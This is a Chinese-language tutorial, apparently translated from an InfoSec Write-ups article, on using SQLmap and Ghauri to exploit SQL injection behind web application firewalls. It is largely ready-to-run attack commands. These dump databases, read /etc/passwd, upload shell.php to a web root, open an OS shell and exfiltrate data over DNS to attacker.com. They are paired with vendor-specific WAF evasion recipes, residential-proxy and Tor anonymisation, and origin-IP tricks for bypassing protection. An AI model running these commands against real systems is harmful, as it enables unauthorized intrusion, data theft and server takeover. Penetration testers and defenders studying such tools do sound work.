SQL注入即使在2026年,仍然是影响力最大的Web应用程序漏洞之一。虽然WAF(Web应用防火墙)、ORM(对象关系映射)和安全编码框架有所改进,但真实世界的应用程序仍然会通过遗留代码、配置不当的API和复杂的后端逻辑暴露出注入点。
为了应对现代目标和强大的防御,安全研究人员通常会使用一些自动化工具,例如 SQLmap 和 Ghauri。两者都旨在自动化完整的SQL注入工作流程,从检测到利用,但它们在内部设计、性能和规避策略上有显著差异。
本文将为你展示如何在实践中使用这两种工具,涵盖高级枚举、WAF绕过技术以及现代渗透测试的自动化工作流。对于更多渗透测试技术交流,欢迎访问 云栈社区 的对应板块。
SQLmap:行业标准
SQLmap 是一款自动化检测和利用SQL注入漏洞的开源工具,从发现到完全的数据库接管。它被广泛认为是同类工具中最强大的,深受安全研究者和渗透测试社区的信任。
核心优势:
- 广泛的数据库管理系统支持(MySQL、Oracle、PostgreSQL、MSSQL等)。
- 支持所有六种SQL注入技术:基于布尔的盲注、基于错误的注入、联合查询注入、堆叠查询、基于时间的盲注和带外注入。
- 高级功能如文件系统访问、操作系统命令执行和注册表访问。
- 高度可配置,支持篡改脚本。
注意: 你可以使用 -hh 标志查看所有可用选项和完整的命令用法。以下仅列出在实际测试中最常依赖且最有用的命令。
基本命令概览
SQLmap 使用模块化的命令结构。以下是最常见的操作:
基本目标扫描
对单个GET参数进行初步SQL注入测试并枚举可用数据库。
sqlmap -u “vulnerable_url” --dbs --batch
使用从Burp等工具捕获的原始HTTP请求来测试POST正文、请求头、Cookie、JSON和复杂的API请求。
sqlmap -r request.txt --level 5 --risk 3 --batch --dbs
Dorking 方式
直接从搜索引擎搜索易受攻击的URL并自动测试它们。
sqlmap -g ‘site:target.com inurl:\".php?id=1\"’

使用批量URL扫描
在一个自动化运行中扫描文本文件中列出的多个目标URL,这样你就不必手动逐个测试每个目标。
http://testphp.vulnweb.com/search.php?limit=100
http://testphp.vulnweb.com/search.php?order=order&query=query
http://testphp.vulnweb.com/search?q=aaa
http://testphp.vulnweb.com/showimage.php?file=aa
sqlmap -m urls.txt --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs
Tor模式
通过Tor网络路由所有流量,以隐藏你的真实IP并规避基于IP的阻止或速率限制。
sqlmap -r request.txt --time-sec=10 --tor --tor-type=SOCKS5 --dbs --batch
Burp模式
将所有SQLmap流量通过Burp Suite发送,以便进行检查、手动篡改和分析WAF行为。
sqlmap -r request.txt --level 3 --risk 2 --random-agent --time-sec=30 --proxy https://127.0.0.1:8080 --thread=10 --dbs --hostname --current-user --current-db
JSON 类型 SQL 注入
检测JSON请求正文中的SQL注入,使用十六进制编码的载荷,并在API网关返回403 Forbidden响应时继续测试。
sqlmap -u ‘vulnerable_url’ --data ‘{"User":"admin","Pwd":"admin@123"}’ --random-agent --ignore-code 403 --dbs --hex

数据库枚举与高级操作
这些选项让你系统地探索数据库结构,从列出数据库到提取特定的表、列和数据。
--dbs # 列出目标上所有可用的数据库。
-D database_name --tables # 列出指定数据库内的所有表。
-D database_name -T table_name --columns # 列出指定表内的所有列。
-D database_name -T table_name -C col1,col2 --dump # 仅转储表中选定的列。
高级数据提取
这些选项有助于在转储过程中高效地提取大量数据,同时避开常见的过滤和编码问题。
--dump-all # 一次性转储所有数据库、表和数据。
--threads=10 # 使用10个并行线程来加速攻击。
--hex # 以十六进制编码检索到的数据,以绕过过滤器并避免编码问题。
--no-cast # 禁用数据类型转换,防止在提取过程中发生数据库转换错误。
认证与会话处理
这些选项允许SQLmap处理认证会话、自定义请求头以及受CSRF保护的表单,同时降低被检测的风险。
--cookie=“PHPSESSID=...” # 发送会话Cookie以保持认证状态。
--headers=“X-Forwarded-For: 127.0.0.1” # 添加自定义HTTP请求头(可用于欺骗IP或绕过WAF规则)。
--csrf-token=token # 通过提取并重用令牌来处理受CSRF保护的表单。
--random-agent # 每次请求时随机化User-Agent以避免检测。
操作系统与文件系统访问
这些选项展示了SQL注入如何用于后渗透利用,允许在底层服务器上进行文件访问,并在某些情况下执行命令。
--os-shell # 尝试在目标操作系统上打开一个交互式命令外壳。
--os-pwn # 尝试使用高级利用方法进行完整的系统接管。
--file-read=/etc/passwd # 从目标服务器读取文件。
--file-write=shell.php --file-dest=/var/www/html/shell.php # 将本地文件上传到服务器上的特定路径。
带外与DNS数据渗出
当带内响应不可用时,这些选项使用外部通道(如DNS或HTTP)来确认和提取盲注SQL注入的数据。
--dns-domain=attacker.com # 使用自定义DNS域进行带外数据渗出和盲注SQLi检测。
--os-shell --technique=O # 尝试仅使用带外(DNS/HTTP)注入技术来获取操作系统命令外壳。
这些选项操作HTTP请求头、请求方法和参数格式,以绕过代理、WAF规则或不寻常的请求处理逻辑。
--headers=“X-Original-URL: /vuln.php” # 发送自定义请求头,常用于绕过反向代理或WAF路由规则。
--method=PUT # 强制将HTTP请求方法改为PUT而不是GET/POST。
--param-del=“;” # 当目标使用“;”分隔参数时,设置自定义参数分隔符。
时间与速率规避
这些选项减缓请求速度并减少噪声,帮助SQLmap避免速率限制和基于行为的检测,同时保持可靠性。
--delay=5 # 每次请求之间等待3秒以保持隐蔽。
--timeout=20 # 将20秒设置为服务器响应的最大等待时间。
--retries=5 # 最多重试5次失败的请求。
--threads=1 # 使用单个线程进行缓慢、低噪声的扫描。
表单中的 SQL 注入
此方法使用SQLmap自动查找并测试表单输入是否存在SQL注入,通过爬取页面并分析所有检测到的字段实现。
sqlmap -u https://target.com/registration --dbs --forms --crawl=2 --batch
SQLmap WAF绕过与规避技术
现代WAF(如Cloudflare、Akamai等)分析请求模式和载荷行为,而不仅仅是特定的关键词。为了规避这些检测,篡改脚本被用来在发送前动态修改SQL载荷,改变其结构、编码和语法以绕过过滤规则。
你可以在下表中找到所有篡改脚本的用法详情,该表包含 SQLmap默认篡改脚本 的完整信息,包括其要求、测试环境备注和示例Payload注入。

SQLmap篡改脚本官方仓库:
https://github.com/coffinxp/payloads/blob/main/Sqlmap%20Tamper%20Scripts%20cheatSheet.ods
忽略被阻止的HTTP状态码
忽略被阻止的HTTP状态码。如果WAF返回403或500,请配置SQLmap忽略这些状态码并继续测试。
sqlmap -r request.txt --level=5 --risk=3 --no-cast --force-ssl --ignore-code=500 --dbs
Imperva / Incapsula WAF 绕过
sqlmap -u ‘vulnerable_url’ --risk 3 --level 5 --dbs --tamper=space2comment,space2morehash
ModSecurity WAF 绕过
使用如下所示的篡改脚本配合随机User-Agent、延迟和编码,以破坏正则表达式模式并使载荷绕过ModSecurity过滤器。
proxychains sqlmap -u ‘vulnerable_url’ --random-agent --batch --dbs --level 3 --tamper=between,space2comment --hex --delay 5
sqlmap -u ‘vulnerable_url’ --dbs --random-agent --keep-alive --threads=5 --no-cast --tamper=modsecurityversioned,space2comment --batch --level 3


Cloudflare WAF 绕过
通过使用随机大小写、编码和内联注释篡改来破坏关键词模式,从而规避Cloudflare的签名检查。
sqlmap -u ‘vulnerable_url’ --batch --dbs --threads=5 --random-agent --risk=3 --level=5 --tamper=space2comment -v 3 --dbms=MySQL
sqlmap -r req.txt --risk 3 --level 3 --dbs --tamper=space2comment,space2morehash
sqlmap -u “vulnerable_url” --tamper=space2comment,randomcase,charencode --level 5 --risk 3 --batch --dbs

proxychains sqlmap -u ‘vulnerable_url’ --dbs --batch -p id --random-agent --tamper=between,space2comment --dbms mysql --tech=B --no-cast --flush-session --threads 10


📝 注意:不要同时使用过多的篡改脚本。这会使载荷变得非常冗长,从而触发WAF拦截,导致冲突、误报,并减慢扫描速度。只使用必要的脚本,并且一次不要超过3个。
SQLmap WAF绕过技巧
- 使用
--tamper 时,使用一个或多个脚本(用逗号分隔)来混淆载荷并规避基于签名的规则。一些常用且有效的脚本组合包括:
--tamper=between,randomcase,space2comment # 适用于:ModSecurity, Cloudflare, F5 ASM
--tamper=space2comment,space2morehash # 适用于:ModSecurity, Imperva SecureSphere
--tamper=modsecurityversioned,space2comment # 适用于:ModSecurity, Comodo WAF
--tamper=space2comment,between,randomcase,charencode # 适用于:Cloudflare, Akamai, Sucuri
--tamper=space2comment,randomcase,unmagicquotes # 适用于:PHP WAFs, Wordfence, LiteSpeed
--tamper=space2comment,between,percentage # 适用于:Imperva, Barracuda
--tamper=charencode,randomcase,space2comment # 适用于:Cloudflare, F5 ASM, Radware
--tamper=space2plus,space2comment,randomcase # 适用于:Akamai, Sucuri, StackPath
--tamper=between,space2comment,modsecurityzeroversioned # 适用于:ModSecurity, Comodo
--tamper=space2comment,randomcase,apostrophemask # 适用于:Imperva, Cloudflare
--tamper=charunicodeencode,space2comment,randomcase # 适用于:Akamai, Radware, Azure WAF
--tamper=space2comment,between,randomcase,bluecoat # 适用于:BlueCoat / Symantec WAF
--tamper=space2comment,between,randomcase,equaltolike # 适用于:F5 ASM, Citrix NetScaler
--tamper=space2comment,randomcase,overlongutf8 # 适用于:FortiWeb, Legacy ModSecurity rules
- 使用
--ignore-code=401,403(或其它拦截状态码),这样当WAF干扰时SQLmap不会停止。
- 使用 proxychains + 住宅代理轮换IP并模仿合法流量,住宅IP在规避基于信誉的WAF拦截方面通常远胜于数据中心IP。
- 当知道或指纹识别出后端数据库管理系统时,使用
--dbms mysql(或 postgresql、mssql 等)。这会强制SQLmap使用引擎特定的载荷,使检测更困难,结果更快、更精确。
- 将
--risk 2(仅在确实需要时使用 --risk 3)与适中的 --level 结合使用,以便在基本载荷失败时使用更强的载荷。尽可能避免使用 --risk 3,因为它攻击性更强,可能导致目标系统不稳定或产生意外影响。
- 在处理过滤问题或编码问题时使用
--hex,因为它强制SQLmap以十六进制形式发送数据,这有助于绕过输入验证和一些WAF规则。
- 使用
--null-connection 以最少的响应数据测试注入并减少WAF检测,并启用keep-alive(--keep-alive)以重用相同的TCP连接,这可以使流量看起来更像正常的浏览器流量,有助于避免基于行为的拦截。
- 当类型转换破坏载荷时使用
--no-cast。它避免CAST操作,并在数据检索困难或不稳定时提供帮助。
SQLMap AI助手
也可以使用新的人工智能驱动的SQLmap,它自动检测和利用跨主流数据库系统的SQL注入。
https://github.com/atiilla/sqlmap-ai
Ghauri:进阶替代方案
虽然SQLmap是行业标准,但Ghauri是一个高级的SQL注入利用框架,专为针对盲注、基于时间的注入和受WAF保护的目标进行了优化。它在对抗现代JavaScript密集型应用程序、REST API和云WAF方面特别有效,因为在这些场景中传统的载荷模式会被严重过滤。
核心优势:
- 针对基于时间的盲注和基于布尔的盲注的高级自适应能力。
- 为速度优化的简洁、模块化架构。
- 对抗云WAF(Cloudflare、Akamai)的出色性能。
- 内置的载荷混淆,模仿类似人类的行为。
其引擎针对异步请求和自适应延迟校准进行了优化,使其在隐蔽利用方面非常高效。
Ghauri 基本命令
Ghauri 使用的命令与SQLmap非常相似,因此切换和开始使用很容易。
基本扫描
始终从基本扫描开始。首先使用此简单命令测试单个GET参数是否存在SQL注入并枚举可用数据库。
ghauri -u “vulnerable_url” --dbs --batch
使用Burp请求文件进行更深度的覆盖测试。它允许你在单次运行中扫描POST数据、Cookie、自定义请求头和API参数。
ghauri -r request.txt -p txt_user_id --dbs --batch --level 3

批量URL扫描
在一个自动化运行中扫描文本文件中列出的多个目标URL,这样你就不必手动逐个测试每个目标。
ghauri -m urls.txt --batch --dbs --level 3 --threads 10
JSON 和 API 目标测试
针对JSON POST类型的注入,使用包含JSON请求正文的 --data 标志运行Ghauri。这通常比使用Burp请求文件效果更好。
ghauri -u ‘vulnerable_url’ --data ‘{"User":"test","Pwd":"test@123"}’ --random-agent --dbs --level 3 --batch
Ghauri WAF绕过与规避技术
Ghauri 智能地调整其推断技术并混淆载荷,使其看起来像正常的用户流量,从而更容易绕过WAF和其他安全防御。下面是一些在应对WAF绕过时持续有效的命令。
--prefix “‘)/**/” # 在每个载荷前添加自定义字符串,以帮助脱离原始查询上下文。
--suffix “--+” # 追加一个SQL注释以安全地终止原始查询的其余部分。
--skip-urlencode # 跳过载荷数据的URL编码。
--confirm # 在继续利用之前验证并确认注入的载荷。
proxychains # 通过代理路由所有流量,以隐藏你的真实IP并规避基于IP的拦截或速率限制。
示例:
ghauri -u ‘vulnerable_url’ --batch --dbs --level 3 --dbms mysql --confirm --time-sec 10 --delay 5


注:以上 --prefix 等选项通常是在命令中作为参数使用的。
使用大量无用数据绕过 Fortinet WAF
发送大量(约1KB)无意义数据来混淆WAF,使得后端以不同的方式处理请求,从而使载荷得以通过。
ghauri --data “junk=... (大量重复字符串) ...&recover=1&user=admin*” --url https://target.com/redacted/login.php?callback=blabla --dbs --batch -D MAIN -T USERS --dump

可滥用的 WAF 检查限制
这些特定于供应商的请求正文大小限制可以被滥用,发送大于WAF能完全检查的载荷,使得SQL注入部分得以通过,而后端仍会处理它们。
### 有记录的 WAF 请求正文检查限制
| WAF 供应商 | 最大请求正文检查大小 |
|---------------------|------------------------------------------|
| Cloudflare | 128 KB(规则集引擎),最多 500 MB(企业版) |
| AWS WAF | 8 KB – 64 KB(按服务可配置) |
| Akamai | 8 KB – 128 KB |
| Azure WAF | 128 KB |
| FortiWeb (Fortinet) | 100 MB |
| Barracuda WAF | 64 KB |
| Sucuri | 10 MB |
| Radware AppWall | 高达 1 GB(云WAF) |
| F5 BIG-IP WAAP | 20 MB(可配置) |
| Palo Alto | 10 MB |
| Google Cloud Armor | 8 KB(可增加至 128 KB) |
Ghauri WAF绕过技巧
- 使用
--confirm 重新验证载荷并减少误报。
- 使用
--delay 减慢请求速度,避免速率限制或基于行为的拦截。
- 将 proxychains 与住宅IP一起使用以获得更好的WAF规避效果。
- 提高
--level 3 以扩大注入测试的深度。
- 如果
--dbs 没有返回结果,尝试 --current-user、--current-db 和 --hostname 来确认注入。
- 使用
--ignore-code 跳过被拦截的HTTP响应(例如,401或403)。
- 在已知后端数据库管理系统时使用
--dbms,强制Ghauri专注于该引擎以获得更快、更精确的结果。
另外,Ghauri 会自动调整其时序和提取逻辑,这有助于它规避那些拦截固定载荷模式、基于行为的WAF。
Ghauri 与 SQLMap:WAF 绕过正面交锋
使用 --confirm 和 Level 3 绕过 WAF(Ghauri)

使用 Between、RandomCase 和 Space2Comment 绕过 WAF(SQLMap)

使用 --hex 及通过住宅代理的 ProxyChains 绕过 WAF(SQLMap)

始终使用两种工具进行测试。有时SQLmap能找到注入点,而其他时候在SQLmap失败的地方Ghauri却能成功。仅依赖一种工具可能会让你错失真正的漏洞。
💡技巧:通过源站IP绕过:
如果可能,请首先尝试识别源站IP。一旦获得源站IP(通过FOFA或Shodan等来源),将域名替换为源站IP,这样你的请求将直接发送到后端,而不经过WAF。这有助于你在不被基于云的防护干扰的情况下评估应用程序。之后,更新你的hosts文件,将原始域名映射到发现的源站IP,然后运行Ghauri针对修改后的URL测试应用程序。
你可以通过这篇文章学习查找源站IP的不同方法,这将对你的SQL注入测试有所帮助。
https://infosecwriteups.com/how-to-find-origin-ip-of-any-website-behind-a-waf-c85095156ef7
结论
SQLmap 是一个功能齐全的SQL注入框架,具有强大的数据库管理系统支持和强大的篡改能力,使其成为完整测试的黄金标准。Ghauri 专注于现代WAF、API和盲注,利用自适应时序和载荷变异实现隐蔽绕过。两者结合,为传统和现代目标提供了强大的覆盖,是安全研究和渗透测试领域不可或缺的工具。
参考资料
[1] https://github.com/coffinxp/payloads/blob/main/Sqlmap%20Tamper%20Scripts%20cheatSheet.ods
[2] https://github.com/atiilla/sqlmap-ai
[3] https://infosecwriteups.com/how-to-find-origin-ip-of-any-website-behind-a-waf-c85095156ef7
原文:https://infosecwriteups.com/mastering-sqlmap-and-ghauri-a-practical-guide-to-waf-bypass-techniques-1aaa9eee9d32